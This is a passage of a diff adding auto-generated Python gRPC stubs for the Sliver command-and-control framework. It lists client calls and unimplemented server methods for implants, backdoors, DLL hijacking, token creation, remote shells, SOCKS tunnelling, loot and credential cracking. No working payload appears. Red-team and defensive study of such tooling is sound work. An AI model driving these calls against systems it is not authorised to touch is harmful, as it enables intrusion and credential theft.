+ '/rpcpb.SliverRPC/PivotStartListener',
+ request_serializer=sliverpb_dot_sliver__pb2.PivotStartListenerReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.PivotListener.FromString,
+ )
+ self.PivotStopListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/PivotStopListener',
+ request_serializer=sliverpb_dot_sliver__pb2.PivotStopListenerReq.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.PivotSessionListeners = channel.unary_unary(
+ '/rpcpb.SliverRPC/PivotSessionListeners',
+ request_serializer=sliverpb_dot_sliver__pb2.PivotListenersReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.PivotListeners.FromString,
+ )
+ self.PivotGraph = channel.unary_unary(
+ '/rpcpb.SliverRPC/PivotGraph',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.PivotGraph.FromString,
+ )
+ self.StartService = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartService',
+ request_serializer=sliverpb_dot_sliver__pb2.StartServiceReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ServiceInfo.FromString,
+ )
+ self.StopService = channel.unary_unary(
+ '/rpcpb.SliverRPC/StopService',
+ request_serializer=sliverpb_dot_sliver__pb2.StopServiceReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ServiceInfo.FromString,
+ )
+ self.RemoveService = channel.unary_unary(
+ '/rpcpb.SliverRPC/RemoveService',
+ request_serializer=sliverpb_dot_sliver__pb2.RemoveServiceReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ServiceInfo.FromString,
+ )
+ self.MakeToken = channel.unary_unary(
+ '/rpcpb.SliverRPC/MakeToken',
+ request_serializer=sliverpb_dot_sliver__pb2.MakeTokenReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.MakeToken.FromString,
+ )
+ self.GetEnv = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetEnv',
+ request_serializer=sliverpb_dot_sliver__pb2.EnvReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.EnvInfo.FromString,
+ )
+ self.SetEnv = channel.unary_unary(
+ '/rpcpb.SliverRPC/SetEnv',
+ request_serializer=sliverpb_dot_sliver__pb2.SetEnvReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.SetEnv.FromString,
+ )
+ self.UnsetEnv = channel.unary_unary(
+ '/rpcpb.SliverRPC/UnsetEnv',
+ request_serializer=sliverpb_dot_sliver__pb2.UnsetEnvReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.UnsetEnv.FromString,
+ )
+ self.Backdoor = channel.unary_unary(
+ '/rpcpb.SliverRPC/Backdoor',
+ request_serializer=clientpb_dot_client__pb2.BackdoorReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Backdoor.FromString,
+ )
+ self.RegistryRead = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegistryRead',
+ request_serializer=sliverpb_dot_sliver__pb2.RegistryReadReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegistryRead.FromString,
+ )
+ self.RegistryWrite = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegistryWrite',
+ request_serializer=sliverpb_dot_sliver__pb2.RegistryWriteReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegistryWrite.FromString,
+ )
+ self.RegistryCreateKey = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegistryCreateKey',
+ request_serializer=sliverpb_dot_sliver__pb2.RegistryCreateKeyReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegistryCreateKey.FromString,
+ )
+ self.RegistryDeleteKey = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegistryDeleteKey',
+ request_serializer=sliverpb_dot_sliver__pb2.RegistryDeleteKeyReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegistryDeleteKey.FromString,
+ )
+ self.RegistryListSubKeys = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegistryListSubKeys',
+ request_serializer=sliverpb_dot_sliver__pb2.RegistrySubKeyListReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegistrySubKeyList.FromString,
+ )
+ self.RegistryListValues = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegistryListValues',
+ request_serializer=sliverpb_dot_sliver__pb2.RegistryListValuesReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegistryValuesList.FromString,
+ )
+ self.RunSSHCommand = channel.unary_unary(
+ '/rpcpb.SliverRPC/RunSSHCommand',
+ request_serializer=sliverpb_dot_sliver__pb2.SSHCommandReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.SSHCommand.FromString,
+ )
+ self.HijackDLL = channel.unary_unary(
+ '/rpcpb.SliverRPC/HijackDLL',
+ request_serializer=clientpb_dot_client__pb2.DllHijackReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.DllHijack.FromString,
+ )
+ self.GetPrivs = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetPrivs',
+ request_serializer=sliverpb_dot_sliver__pb2.GetPrivsReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.GetPrivs.FromString,
+ )
+ self.StartRportFwdListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartRportFwdListener',
+ request_serializer=sliverpb_dot_sliver__pb2.RportFwdStartListenerReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RportFwdListener.FromString,
+ )
+ self.GetRportFwdListeners = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetRportFwdListeners',
+ request_serializer=sliverpb_dot_sliver__pb2.RportFwdListenersReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RportFwdListeners.FromString,
+ )
+ self.StopRportFwdListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StopRportFwdListener',
+ request_serializer=sliverpb_dot_sliver__pb2.RportFwdStopListenerReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RportFwdListener.FromString,
+ )
+ self.OpenSession = channel.unary_unary(
+ '/rpcpb.SliverRPC/OpenSession',
+ request_serializer=sliverpb_dot_sliver__pb2.OpenSession.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.OpenSession.FromString,
+ )
+ self.CloseSession = channel.unary_unary(
+ '/rpcpb.SliverRPC/CloseSession',
+ request_serializer=sliverpb_dot_sliver__pb2.CloseSession.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.RegisterExtension = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegisterExtension',
+ request_serializer=sliverpb_dot_sliver__pb2.RegisterExtensionReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegisterExtension.FromString,
+ )
+ self.CallExtension = channel.unary_unary(
+ '/rpcpb.SliverRPC/CallExtension',
+ request_serializer=sliverpb_dot_sliver__pb2.CallExtensionReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.CallExtension.FromString,
+ )
+ self.ListExtensions = channel.unary_unary(
+ '/rpcpb.SliverRPC/ListExtensions',
+ request_serializer=sliverpb_dot_sliver__pb2.ListExtensionsReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ListExtensions.FromString,
+ )
+ self.RegisterWasmExtension = channel.unary_unary(
+ '/rpcpb.SliverRPC/RegisterWasmExtension',
+ request_serializer=sliverpb_dot_sliver__pb2.RegisterWasmExtensionReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RegisterWasmExtension.FromString,
+ )
+ self.ListWasmExtensions = channel.unary_unary(
+ '/rpcpb.SliverRPC/ListWasmExtensions',
+ request_serializer=sliverpb_dot_sliver__pb2.ListWasmExtensionsReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ListWasmExtensions.FromString,
+ )
+ self.ExecWasmExtension = channel.unary_unary(
+ '/rpcpb.SliverRPC/ExecWasmExtension',
+ request_serializer=sliverpb_dot_sliver__pb2.ExecWasmExtensionReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ExecWasmExtension.FromString,
+ )
+ self.WGStartPortForward = channel.unary_unary(
+ '/rpcpb.SliverRPC/WGStartPortForward',
+ request_serializer=sliverpb_dot_sliver__pb2.WGPortForwardStartReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.WGPortForward.FromString,
+ )
+ self.WGStopPortForward = channel.unary_unary(
+ '/rpcpb.SliverRPC/WGStopPortForward',
+ request_serializer=sliverpb_dot_sliver__pb2.WGPortForwardStopReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.WGPortForward.FromString,
+ )
+ self.WGStartSocks = channel.unary_unary(
+ '/rpcpb.SliverRPC/WGStartSocks',
+ request_serializer=sliverpb_dot_sliver__pb2.WGSocksStartReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.WGSocks.FromString,
+ )
+ self.WGStopSocks = channel.unary_unary(
+ '/rpcpb.SliverRPC/WGStopSocks',
+ request_serializer=sliverpb_dot_sliver__pb2.WGSocksStopReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.WGSocks.FromString,
+ )
+ self.WGListForwarders = channel.unary_unary(
+ '/rpcpb.SliverRPC/WGListForwarders',
+ request_serializer=sliverpb_dot_sliver__pb2.WGTCPForwardersReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.WGTCPForwarders.FromString,
+ )
+ self.WGListSocksServers = channel.unary_unary(
+ '/rpcpb.SliverRPC/WGListSocksServers',
+ request_serializer=sliverpb_dot_sliver__pb2.WGSocksServersReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.WGSocksServers.FromString,
+ )
+ self.Shell = channel.unary_unary(
+ '/rpcpb.SliverRPC/Shell',
+ request_serializer=sliverpb_dot_sliver__pb2.ShellReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Shell.FromString,
+ )
+ self.Portfwd = channel.unary_unary(
+ '/rpcpb.SliverRPC/Portfwd',
+ request_serializer=sliverpb_dot_sliver__pb2.PortfwdReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Portfwd.FromString,
+ )
+ self.CreateSocks = channel.unary_unary(
+ '/rpcpb.SliverRPC/CreateSocks',
+ request_serializer=sliverpb_dot_sliver__pb2.Socks.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Socks.FromString,
+ )
+ self.CloseSocks = channel.unary_unary(
+ '/rpcpb.SliverRPC/CloseSocks',
+ request_serializer=sliverpb_dot_sliver__pb2.Socks.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.SocksProxy = channel.stream_stream(
+ '/rpcpb.SliverRPC/SocksProxy',
+ request_serializer=sliverpb_dot_sliver__pb2.SocksData.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.SocksData.FromString,
+ )
+ self.CreateTunnel = channel.unary_unary(
+ '/rpcpb.SliverRPC/CreateTunnel',
+ request_serializer=sliverpb_dot_sliver__pb2.Tunnel.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Tunnel.FromString,
+ )
+ self.CloseTunnel = channel.unary_unary(
+ '/rpcpb.SliverRPC/CloseTunnel',
+ request_serializer=sliverpb_dot_sliver__pb2.Tunnel.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.TunnelData = channel.stream_stream(
+ '/rpcpb.SliverRPC/TunnelData',
+ request_serializer=sliverpb_dot_sliver__pb2.TunnelData.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.TunnelData.FromString,
+ )
+ self.Events = channel.unary_stream(
+ '/rpcpb.SliverRPC/Events',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Event.FromString,
+ )
+
+
+class SliverRPCServicer(object):
+ """Missing associated documentation comment in .proto file."""
+
+ def GetVersion(self, request, context):
+ """*** Version ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ClientConsoleLog(self, request_iterator, context):
+ """*** Client Console Logs ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetOperators(self, request, context):
+ """*** Operator Commands ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Kill(self, request, context):
+ """*** Generic ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Reconfigure(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Rename(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetSessions(self, request, context):
+ """*** Sessions ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetBeacons(self, request, context):
+ """*** Beacons ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetBeacon(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RmBeacon(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetBeaconTasks(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetBeaconTaskContent(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CancelBeaconTask(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MonitorStart(self, request, context):
+ """***Threat monitoring ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MonitorStop(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetJobs(self, request, context):
+ """*** Jobs ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def KillJob(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartMTLSListener(self, request, context):
+ """*** Listeners ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartWGListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartDNSListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartHTTPSListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartHTTPListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartTCPStagerListener(self, request, context):
+ """*** Stager Listener ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartHTTPStagerListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def LootAdd(self, request, context):
+ """*** Loot ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def LootRm(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def LootUpdate(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def LootContent(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def LootAll(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Creds(self, request, context):
+ """*** Creds ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CredsAdd(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CredsRm(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CredsUpdate(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetCredByID(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetCredsByHashType(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetPlaintextCredsByHashType(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CredsSniffHashType(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Hosts(self, request, context):
+ """*** Hosts ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Host(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def HostRm(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def HostIOCRm(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Generate(self, request, context):
+ """*** Implants ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GenerateExternal(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GenerateExternalSaveBuild(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GenerateExternalGetImplantConfig(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def BuilderRegister(self, request, context):
+ """*** Builders ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def BuilderTrigger(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Builders(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackstationRegister(self, request, context):
+ """*** Crackstation ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackstationTrigger(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackstationBenchmark(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Crackstations(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackTaskByID(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackTaskUpdate(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackFilesList(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackFileCreate(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackFileChunkUpload(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackFileChunkDownload(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackFileComplete(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CrackFileDelete(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Regenerate(self, request, context):
+ """*** Payloads ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ImplantBuilds(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def DeleteImplantBuild(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Canaries(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GenerateWGClientConfig(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GenerateUniqueIP(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ImplantProfiles(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def DeleteImplantProfile(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def SaveImplantProfile(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MsfStage(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ShellcodeRDI(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetCompiler(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ShellcodeEncoder(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ShellcodeEncoderMap(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def TrafficEncoderMap(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def TrafficEncoderAdd(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def TrafficEncoderRm(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Websites(self, request, context):
+ """*** Websites ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Website(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WebsiteRemove(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WebsiteAddContent(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
